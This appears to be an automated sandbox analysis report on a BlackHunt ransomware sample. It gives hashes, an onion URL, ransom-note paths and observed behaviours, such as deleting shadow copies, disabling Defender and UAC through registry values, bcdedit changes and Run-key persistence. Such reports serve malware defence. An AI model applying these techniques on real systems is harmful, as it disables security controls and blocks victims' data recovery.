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Analysis
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max time kernel
153s -
max time network
142s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 00:49
Static task
static1
Behavioral task
behavioral1
Sample
c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe
Resource
win10v2004-20231222-en
General
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Target
c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe
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Size
707KB
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MD5
5d4b5d3de31daa6d0a3e5afc8c3cc42a
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SHA1
7a7ab1dc18d83e122ba728ddf0a8c8c7835e00ca
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SHA256
c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01
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SHA512
eb607859ee967e05a24b435124ff433bb15961d18a3f5caae483834e8886250bb9e302dd4e0166d7f7adba85812b9779eada5758d233747536580c3d5c6f8520
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1m8jvnh:6uaTmkZJ+naie5OTamgEoKxLWVDh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2304 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1348 bcdedit.exe 2068 bcdedit.exe -
Renames multiple (2931) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 1500 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\M: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\I: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\U: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\S: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\E: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\G: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\K: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\Z: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\W: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\P: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\T: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\A: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\L: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\N: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\O: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\H: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\Q: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\V: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\Y: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\X: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened (read-only) \??\B: c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-sampler.xml c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\epl-v10.html c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Cape_Verde c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Jujuy c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Gambier c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\conticon.gif c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\#BlackHunt_ReadMe.txt c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#BlackHunt_ReadMe.txt c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector.nl_ja_4.4.0.v20140623020002.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jre7\lib\zi\America\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_zh_CN.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#BlackHunt_ReadMe.hta c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt_0.12.1.v20140903-1023.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-templates.xml_hidden c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\#BlackHunt_ReadMe.hta c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable.nl_zh_4.4.0.v20140623020002.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup-impl_zh_CN.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-loaders_zh_CN.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\VERSION.txt c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler_zh_CN.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.hta c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-next-static.png c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jre7\lib\ext\#BlackHunt_ReadMe.txt c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-search.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\background.png c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationUp_SelectionSubpicture.png c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services.nl_ja_4.4.0.v20140623020002.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-ui.xml c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\VideoLAN\VLC\lua\modules\#BlackHunt_ReadMe.hta c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\MCIMPP.mpp c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\7-Zip\Lang\fy.txt c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ja_5.5.0.165303.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\#BlackHunt_ReadMe.txt c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Oral c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\VideoLAN\VLC\plugins\video_chroma\#BlackHunt_ReadMe.hta c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-remote_zh_CN.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jre7\lib\fontconfig.properties.src c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_ReadMe.txt c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask_PAL.wmv c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\DVD Maker\soniccolorconverter.ax c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_ReadMe.hta c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\DVD Maker\bod_r.TTF c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jsse.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs-nio2_ja.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Araguaina c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.hta c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher_1.3.0.v20140911-0143.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Adelaide c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\skin.dtd c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\#BlackHunt_Private.key c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\#BlackHunt_ReadMe.txt c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\rightnav.gif c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.nl_zh_4.4.0.v20140623020002.jar c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1008 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 848 vssadmin.exe 2396 vssadmin.exe 1720 vssadmin.exe 1628 vssadmin.exe 908 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe Token: SeRestorePrivilege 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe Token: SeBackupPrivilege 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe Token: SeTakeOwnershipPrivilege 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe Token: SeAuditPrivilege 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe Token: SeSecurityPrivilege 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe Token: SeIncBasePriorityPrivilege 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe Token: SeBackupPrivilege 2728 vssvc.exe Token: SeRestorePrivilege 2728 vssvc.exe Token: SeAuditPrivilege 2728 vssvc.exe Token: SeBackupPrivilege 1460 wbengine.exe Token: SeRestorePrivilege 1460 wbengine.exe Token: SeSecurityPrivilege 1460 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2832 wrote to memory of 1204 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 30 PID 2832 wrote to memory of 1204 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 30 PID 2832 wrote to memory of 1204 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 30 PID 2832 wrote to memory of 1204 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 30 PID 2832 wrote to memory of 2828 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 33 PID 2832 wrote to memory of 2828 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 33 PID 2832 wrote to memory of 2828 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 33 PID 2832 wrote to memory of 2828 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 33 PID 2832 wrote to memory of 2564 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 34 PID 2832 wrote to memory of 2564 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 34 PID 2832 wrote to memory of 2564 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 34 PID 2832 wrote to memory of 2564 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 34 PID 1204 wrote to memory of 2580 1204 cmd.exe 36 PID 1204 wrote to memory of 2580 1204 cmd.exe 36 PID 1204 wrote to memory of 2580 1204 cmd.exe 36 PID 2832 wrote to memory of 2624 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 37 PID 2832 wrote to memory of 2624 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 37 PID 2832 wrote to memory of 2624 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 37 PID 2832 wrote to memory of 2624 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 37 PID 2832 wrote to memory of 3052 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 38 PID 2832 wrote to memory of 3052 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 38 PID 2832 wrote to memory of 3052 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 38 PID 2832 wrote to memory of 3052 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 38 PID 2832 wrote to memory of 840 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 42 PID 2832 wrote to memory of 840 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 42 PID 2832 wrote to memory of 840 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 42 PID 2832 wrote to memory of 840 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 42 PID 2828 wrote to memory of 2212 2828 cmd.exe 41 PID 2828 wrote to memory of 2212 2828 cmd.exe 41 PID 2828 wrote to memory of 2212 2828 cmd.exe 41 PID 2832 wrote to memory of 580 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 43 PID 2832 wrote to memory of 580 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 43 PID 2832 wrote to memory of 580 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 43 PID 2832 wrote to memory of 580 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 43 PID 2832 wrote to memory of 268 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 45 PID 2832 wrote to memory of 268 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 45 PID 2832 wrote to memory of 268 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 45 PID 2832 wrote to memory of 268 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 45 PID 2832 wrote to memory of 2000 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 47 PID 2832 wrote to memory of 2000 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 47 PID 2832 wrote to memory of 2000 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 47 PID 2832 wrote to memory of 2000 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 47 PID 2564 wrote to memory of 1940 2564 cmd.exe 46 PID 2564 wrote to memory of 1940 2564 cmd.exe 46 PID 2564 wrote to memory of 1940 2564 cmd.exe 46 PID 2832 wrote to memory of 1480 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 50 PID 2832 wrote to memory of 1480 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 50 PID 2832 wrote to memory of 1480 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 50 PID 2832 wrote to memory of 1480 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 50 PID 2832 wrote to memory of 996 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 53 PID 2832 wrote to memory of 996 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 53 PID 2832 wrote to memory of 996 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 53 PID 2832 wrote to memory of 996 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 53 PID 2624 wrote to memory of 2208 2624 cmd.exe 54 PID 2624 wrote to memory of 2208 2624 cmd.exe 54 PID 2624 wrote to memory of 2208 2624 cmd.exe 54 PID 2832 wrote to memory of 1852 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 55 PID 2832 wrote to memory of 1852 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 55 PID 2832 wrote to memory of 1852 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 55 PID 2832 wrote to memory of 1852 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 55 PID 3052 wrote to memory of 332 3052 cmd.exe 56 PID 3052 wrote to memory of 332 3052 cmd.exe 56 PID 3052 wrote to memory of 332 3052 cmd.exe 56 PID 2832 wrote to memory of 2620 2832 c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe 57 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe"C:\Users\Admin\AppData\Local\Temp\c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2832 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
